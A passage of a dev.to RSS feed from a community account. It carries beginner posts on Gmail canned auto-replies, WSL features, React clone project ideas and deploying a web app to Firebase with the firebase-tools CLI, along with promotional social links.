Youtube &lt;a href="https://www.youtube.com/watch?v=4pjpHUN28kk" rel="noopener noreferrer"&gt;https://www.youtube.com/watch?v=4pjpHUN28kk&lt;/a&gt;&lt;/p&gt;

</description>
      <category>programming</category>
      <category>productivity</category>
      <category>linux</category>
      <category>devops</category>
    </item>
    <item>
      <title>How to Make Automatically Reply to Emails in Gmail</title>
      <dc:creator>Justin Varghese</dc:creator>
      <pubDate>Sun, 28 Feb 2021 14:08:23 +0000</pubDate>
      <link>https://dev.to/forcommunity/how-to-make-automatically-reply-to-emails-in-gmail-4dp5</link>
      <guid>https://dev.to/forcommunity/how-to-make-automatically-reply-to-emails-in-gmail-4dp5</guid>
      <description>&lt;p&gt;Today almost everyone is using email services in daily life. And that is why we are here with How To Reply Common Emails Automatically In Gmail.&lt;/p&gt;

&lt;p&gt;In this article we will discuss about automated emails that you can send automatically through your account.&lt;/p&gt;

&lt;p&gt;As sometime you are on a position in which you have to reply an email with same text every time.&lt;/p&gt;

&lt;p&gt;So in this method you will be setting a fix message for some certain queries and Gmail will work for you and will send the reply back as set by you earlier.&lt;/p&gt;

&lt;p&gt;So have a look in this cool method that can reduce your boring work of sending same mails to common queries.&lt;/p&gt;

&lt;p&gt;Steps To Make Your Gmail Automatic Replier To Common Emails You Receive :-&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;First of all login into your gmail account where you want to set up Gmail Automatic Reply.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Now click on the down arrow button near the Gmail search box there.&lt;/li&gt;
&lt;li&gt;Now there you will see a form that instantly appears when you click on that arrow button.1&lt;/li&gt;
&lt;li&gt;Now fill up the form completely and in the field Have the word and Does not Have the word there you can set the words that you commonly received in you emails and you want to set them accordingly.&lt;/li&gt;
&lt;li&gt;Now after completely filling the form click on Create filter with this search at the bottom right corner of the form.&lt;/li&gt;
&lt;li&gt;Now on next box you will see option there mark on Send canned response and there you will specify the canned reply from previous conversations.&lt;/li&gt;
&lt;li&gt;After completing these all just click on Create Filter there and the filter will get created.&lt;/li&gt;
&lt;li&gt;That's it you are done. Now gmail will send automatic response to the mails received with the matched details.&lt;/li&gt;
&lt;/ol&gt;


&lt;/li&gt;

&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Hey Guys we just dropped our 1st video on YouTube .Please hit that subscribe button and make sure you smash that like button .Hotstar+Disney is a very famous streaming and entertainment service in India with more than 27 millon paid viewers and 300 millon monthly active users . We would love to hear your response .&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.youtube.com/watch?v=4pjpHUN28kk" rel="noopener noreferrer"&gt;https://www.youtube.com/watch?v=4pjpHUN28kk&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fvbprj0dselzoyybfclmn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fvbprj0dselzoyybfclmn.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Be a part of us 🚀 🚀&lt;br&gt;
Telegram &lt;a href="https://t.me/forthecommunity" rel="noopener noreferrer"&gt;https://t.me/forthecommunity&lt;/a&gt;&lt;br&gt;
Discord &lt;a href="https://discord.com/invite/QsAqC4yKkm" rel="noopener noreferrer"&gt;https://discord.com/invite/QsAqC4yKkm&lt;/a&gt;&lt;br&gt;
Facebook &lt;a href="https://www.facebook.com/forcommunity.tech" rel="noopener noreferrer"&gt;https://www.facebook.com/forcommunity.tech&lt;/a&gt;&lt;br&gt;
Youtube &lt;a href="https://www.youtube.com/channel/UCP33irJmpa60rIuztDP2itQ" rel="noopener noreferrer"&gt;https://www.youtube.com/channel/UCP33irJmpa60rIuztDP2itQ&lt;/a&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>What is WSL ? What are the Features of WSL ?</title>
      <dc:creator>Justin Varghese</dc:creator>
      <pubDate>Tue, 19 Jan 2021 11:51:45 +0000</pubDate>
      <link>https://dev.to/forcommunity/what-is-wsl-what-are-the-features-of-wsl-35c</link>
      <guid>https://dev.to/forcommunity/what-is-wsl-what-are-the-features-of-wsl-35c</guid>
      <description>&lt;p&gt;WSL also known as windows Subsystem for linux .The Windows Subsystem for Linux lets developers run a GNU/Linux environment -- including most command-line tools, utilities, and applications -- directly on Windows, unmodified, without the overhead of a traditional virtual machine or dual boot setup. Which helps users to save a plenty of time by not running into an error .Even after so many efforts put by Microsoft, Users  love to use Linux over Windows .&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Features of WSL&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You can Run common command-line tools such as grep, sed, awk, or other ELF-64 binaries.&lt;br&gt;
Run Bash shell scripts and GNU/Linux command-line applications including:&lt;br&gt;
Tools: vim, emacs, tmux&lt;br&gt;
Languages: NodeJS, Javascript, Python, Ruby, C/C++, C# &amp;amp; F#, Rust, Go, etc.&lt;br&gt;
Services: SSHD, MySQL, Apache, lighttpd, MongoDB, PostgreSQL.&lt;br&gt;
Install additional software using your own GNU/Linux distribution package manager.&lt;br&gt;
Invoke Windows applications using a Unix-like command-line shell.&lt;br&gt;
Invoke GNU/Linux applications on Windows.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Please also subscribe our YouTube Channel&lt;br&gt;
Hostar+Disney Clone made for Beginners using Reacts js&lt;/strong&gt; &lt;br&gt;
&lt;a href="https://www.youtube.com/watch?v=4pjpHUN28kk&amp;amp;fbclid=IwAR02hJnCgk5qXDVdHPsCxqZgm8dY2kWXbGdRuFwtaHLBuV0TQiLQvJzw1t0&amp;amp;ab_channel=ForCommunity"&gt;https://www.youtube.com/watch?v=4pjpHUN28kk&amp;amp;fbclid=IwAR02hJnCgk5qXDVdHPsCxqZgm8dY2kWXbGdRuFwtaHLBuV0TQiLQvJzw1t0&amp;amp;ab_channel=ForCommunity&lt;/a&gt;&lt;/p&gt;

</description>
      <category>devops</category>
      <category>linux</category>
      <category>programming</category>
      <category>discuss</category>
    </item>
    <item>
      <title>TOP 5 REACTJS PROJECTS FOR WEB DEVELOPERS! 🔥</title>
      <dc:creator>Justin Varghese</dc:creator>
      <pubDate>Sun, 03 Jan 2021 18:27:58 +0000</pubDate>
      <link>https://dev.to/forcommunity/top-5-reactjs-projects-for-web-developers-1i53</link>
      <guid>https://dev.to/forcommunity/top-5-reactjs-projects-for-web-developers-1i53</guid>
      <description>&lt;p&gt;Today we will focus on the top 5 &lt;strong&gt;React JS&lt;/strong&gt; projects for you to land a job as a developer in 2021!!&lt;/p&gt;

&lt;p&gt;When it comes to projects, focus on what you are up to, So if you want to be a front-end developer or a backend dev, Here are 5 front end as well as backend projects that will land you a job as a dev in 2021!  &lt;/p&gt;

&lt;h2&gt;
  
  
  Front-End
&lt;/h2&gt;

&lt;p&gt;1.&lt;a href="https://netflix-clone-989.web.app/" rel="noopener noreferrer"&gt;Netflix-Clone&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjustinn.me%2Fimages%2Fportfolio%2Fnetflix-clone.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjustinn.me%2Fimages%2Fportfolio%2Fnetflix-clone.jpeg" alt=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;This Includes CSS
&lt;/li&gt;
&lt;li&gt;This will show you, how to fetch api's&lt;/li&gt;
&lt;li&gt;This will use other libraries of react to display dummy videos&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;2.&lt;a href="https://hotstar.justinn.me" rel="noopener noreferrer"&gt;Hotstar-Clone&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjustinn.me%2Fimages%2Fportfolio%2Fhotstar.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjustinn.me%2Fimages%2Fportfolio%2Fhotstar.PNG" alt=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;This Includes CSS&lt;/li&gt;
&lt;li&gt;This will show you how to map data from &lt;a href="https://console.firebase.google.com" rel="noopener noreferrer"&gt;Firebase&lt;/a&gt; &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;3.&lt;a href="https://hulu-clone-989.web.app/" rel="noopener noreferrer"&gt;Hulu-Clone&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjustinn.me%2Fimages%2Fportfolio%2Fhulu.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjustinn.me%2Fimages%2Fportfolio%2Fhulu.PNG" alt=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;This includes CSS&lt;/li&gt;
&lt;li&gt;this will show you how to fetch and map data from &lt;a href="https://themoviedb.org/" rel="noopener noreferrer"&gt;TMDB&lt;/a&gt; api &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;4.&lt;a href="https://primevideo.justinn.me/" rel="noopener noreferrer"&gt;Prime-Video clone&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/http%3A%2F%2Fjustinn.me%2Fimages%2Fportfolio%2Fprime.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/http%3A%2F%2Fjustinn.me%2Fimages%2Fportfolio%2Fprime.PNG" alt=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;This includes the carousel in the home page&lt;/li&gt;
&lt;li&gt;this will show you how to map data from &lt;a href="https://console.firebase.google.com/" rel="noopener noreferrer"&gt;firebase&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;5.&lt;a href="https://airbnb-clone-989.web.app/" rel="noopener noreferrer"&gt;Airbnb-Clone&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjustinn.me%2Fimages%2Fportfolio%2Fairbnb-clone.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjustinn.me%2Fimages%2Fportfolio%2Fairbnb-clone.png" alt=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;This includes CSS&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Back-End
&lt;/h2&gt;

&lt;p&gt;1.&lt;a href="https://facebook-clone-981.web.app/" rel="noopener noreferrer"&gt;Facebook-Clone&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjustinn.me%2Fimages%2Fportfolio%2Ffb.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjustinn.me%2Fimages%2Fportfolio%2Ffb.PNG" alt=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;This includes CSS&lt;/li&gt;
&lt;li&gt;This includes user authentication&lt;/li&gt;
&lt;li&gt;This includes database&lt;/li&gt;
&lt;li&gt;This includes react-context API&lt;/li&gt;
&lt;li&gt;This has the ability to text each other&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;2.&lt;a href="https://discord-clone-989.web.app/" rel="noopener noreferrer"&gt;Discord-Clone&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/http%3A%2F%2Fjustinn.me%2Fimages%2Fportfolio%2Fdiscord.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/http%3A%2F%2Fjustinn.me%2Fimages%2Fportfolio%2Fdiscord.PNG" alt=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;This includes CSS&lt;/li&gt;
&lt;li&gt;This includes User Auth&lt;/li&gt;
&lt;li&gt;This includes Database&lt;/li&gt;
&lt;li&gt;This includes Redux&lt;/li&gt;
&lt;li&gt;This has the ability to text each other&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;3.&lt;a href="https://twitter-clone-989.web.app/" rel="noopener noreferrer"&gt;twitter-clone&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjustinn.me%2Fimages%2Fportfolio%2Ftwitter-clone.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjustinn.me%2Fimages%2Fportfolio%2Ftwitter-clone.PNG" alt=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;This includes css&lt;/li&gt;
&lt;li&gt;This includes database&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;4.&lt;a href="https://sc.jenovs.com/" rel="noopener noreferrer"&gt;Spotify-Clone&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Ffuturefive.co.nz%2Fuploads%2Fstory%2F2015%2F05%2F26%2Fwindows_10_music_app_spotify.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Ffuturefive.co.nz%2Fuploads%2Fstory%2F2015%2F05%2F26%2Fwindows_10_music_app_spotify.jpg" alt=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So, That's it for today, Make sure you like, share this post, will meet in next blog&lt;/p&gt;

&lt;p&gt;Thanks&lt;br&gt;
&lt;a href="https://justinn.me/" rel="noopener noreferrer"&gt;Justin&lt;/a&gt;&lt;/p&gt;

</description>
      <category>react</category>
      <category>javascript</category>
      <category>development</category>
      <category>programming</category>
    </item>
    <item>
      <title>How to deploy a web app to Firebase</title>
      <dc:creator>Justin Varghese</dc:creator>
      <pubDate>Sun, 27 Dec 2020 16:14:48 +0000</pubDate>
      <link>https://dev.to/forcommunity/how-to-deploy-a-web-app-to-firebase-364o</link>
      <guid>https://dev.to/forcommunity/how-to-deploy-a-web-app-to-firebase-364o</guid>
      <description>&lt;p&gt;&lt;a href="https://console.firebase.google.com" rel="noopener noreferrer"&gt;Firebase&lt;/a&gt; is a tool powered by &lt;a href="https://google.com" rel="noopener noreferrer"&gt;Google&lt;/a&gt; for developing mobile and web applications, It offers free hosting, NoSQL databases and many more services and makes our life pretty easier as compared to other backends like node.js etc. All you need is a Gmail account..&lt;/p&gt;

&lt;h2&gt;
  
  
  Setup
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Firstly, create a project on &lt;a href="https://console.firebase.google.com" rel="noopener noreferrer"&gt;Firebase&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fsnappy.appypie.com%2Fckeditor%2Fplugins%2Fimageuploader%2Fuploads%2Ffaqs%2F%2F19941c7ca1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fsnappy.appypie.com%2Fckeditor%2Fplugins%2Fimageuploader%2Fuploads%2Ffaqs%2F%2F19941c7ca1.png" alt=""&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Make sure you have &lt;a href="https://nodejs.org" rel="noopener noreferrer"&gt;Nodejs&lt;/a&gt; installed in your system&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Frailsware.com%2Fblog%2Fwp-content%2Fuploads%2F2018%2F09%2F2400%25D1%25851260-rw-blog-node-js.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Frailsware.com%2Fblog%2Fwp-content%2Fuploads%2F2018%2F09%2F2400%25D1%25851260-rw-blog-node-js.png" alt=""&gt;&lt;/a&gt; &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Open up the terminal and install the firebase-cli by &lt;code&gt;npm i -g firebase-tools&lt;/code&gt;&lt;br&gt;
PS: On Linux or Mac type &lt;code&gt;sudo npm i -g firebase-tools&lt;/code&gt; - this &lt;br&gt;
will give admin privileges and avoid errors&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Frepository-images.githubusercontent.com%2F15402300%2F09bda880-1383-11eb-893e-b6d42a06754e" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Frepository-images.githubusercontent.com%2F15402300%2F09bda880-1383-11eb-893e-b6d42a06754e" alt=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Deploying our web app to firebase
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Firstly open up the terminal cd into the right directory and login into your firebase account by &lt;code&gt;firebase login&lt;/code&gt;&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fakhromieiev.com%2Ftutorials%2Fhow-to-set-up-firebase-cli-tools%2Fimg%2Fwp-content-uploads-2019-03-Screen-Shot-2019-03-08-at-1.48.52-PM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fakhromieiev.com%2Ftutorials%2Fhow-to-set-up-firebase-cli-tools%2Fimg%2Fwp-content-uploads-2019-03-Screen-Shot-2019-03-08-at-1.48.52-PM.png" alt=""&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Type &lt;code&gt;firebase init&lt;/code&gt; in the terminal of the same directory &lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fi.stack.imgur.com%2Frha5U.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fi.stack.imgur.com%2Frha5U.png" alt=""&gt;&lt;/a&gt; &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Select &lt;code&gt;Hosting&lt;/code&gt; from the drop-down&lt;br&gt;
&lt;a href="https://camo.githubusercontent.com/cf0875844ed952d733bd6dc1a36f93fbe44d50c438de6892f1304ce31eddb429/68747470733a2f2f69322e77702e636f6d2f67617279776f6f6466696e652e636f6d2f77702d636f6e74656e742f75706c6f6164732f323031392f30372f66697265626173652d6465706c6f792d696e69742e706e673f73736c3d31" class="article-body-image-wrapper"&gt;&lt;img src="https://camo.githubusercontent.com/cf0875844ed952d733bd6dc1a36f93fbe44d50c438de6892f1304ce31eddb429/68747470733a2f2f69322e77702e636f6d2f67617279776f6f6466696e652e636f6d2f77702d636f6e74656e742f75706c6f6164732f323031392f30372f66697265626173652d6465706c6f792d696e69742e706e673f73736c3d31" alt=""&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;It will ask for the root folder where your files to be deployed is contained  &lt;strong&gt;public&lt;/strong&gt; -  will be the default folder &lt;br&gt;
PS: In case OF React JS or angular JS type in &lt;code&gt;npm run build&lt;/code&gt; and configure your root folder as &lt;code&gt;build&lt;/code&gt;&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fsocial.technet.microsoft.com%2Fwiki%2Fcfs-file.ashx%2F__key%2Fcommunityserver-wikis-components-files%2F00-00-00-00-05%2F1033.22.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fsocial.technet.microsoft.com%2Fwiki%2Fcfs-file.ashx%2F__key%2Fcommunityserver-wikis-components-files%2F00-00-00-00-05%2F1033.22.png" alt=""&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The next few options you may either hit &lt;code&gt;enter&lt;/code&gt; or follow it accordingly &lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fimage.codeforgeek.com%2Fwp-content%2Fuploads%2F2018%2F07%2Fimage2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fimage.codeforgeek.com%2Fwp-content%2Fuploads%2F2018%2F07%2Fimage2.png" alt=""&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Lastly, Type &lt;code&gt;firebase deploy&lt;/code&gt; in the terminal, Your app will be deployed with the url based on the project configured&lt;br&gt;
&lt;a href="https://camo.githubusercontent.com/de424b195fa163fc9519cf1b6cbb94ff1932553c43e72d51309b57ebe8d20daa/68747470733a2f2f692e737461636b2e696d6775722e636f6d2f436b52416f2e6a7067" class="article-body-image-wrapper"&gt;&lt;img src="https://camo.githubusercontent.com/de424b195fa163fc9519cf1b6cbb94ff1932553c43e72d51309b57ebe8d20daa/68747470733a2f2f692e737461636b2e696d6775722e636f6d2f436b52416f2e6a7067" alt=""&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;That's it for today!&lt;/p&gt;

&lt;p&gt;Hope you liked the post, if you’ve got any questions your can Mail us &lt;a href="mailto:mail@stephinreji.me"&gt;mail@stephinreji.me&lt;/a&gt; or join our &lt;a href="https://discord.com/invite/YzYUnjWkN5" rel="noopener noreferrer"&gt;Discord-server&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Thanks&lt;/p&gt;

</description>
      <category>deployment</category>
      <category>hosting</category>
      <category>firebase</category>
      <category>webapplication</category>
    </item>
  </channel>
</rss>
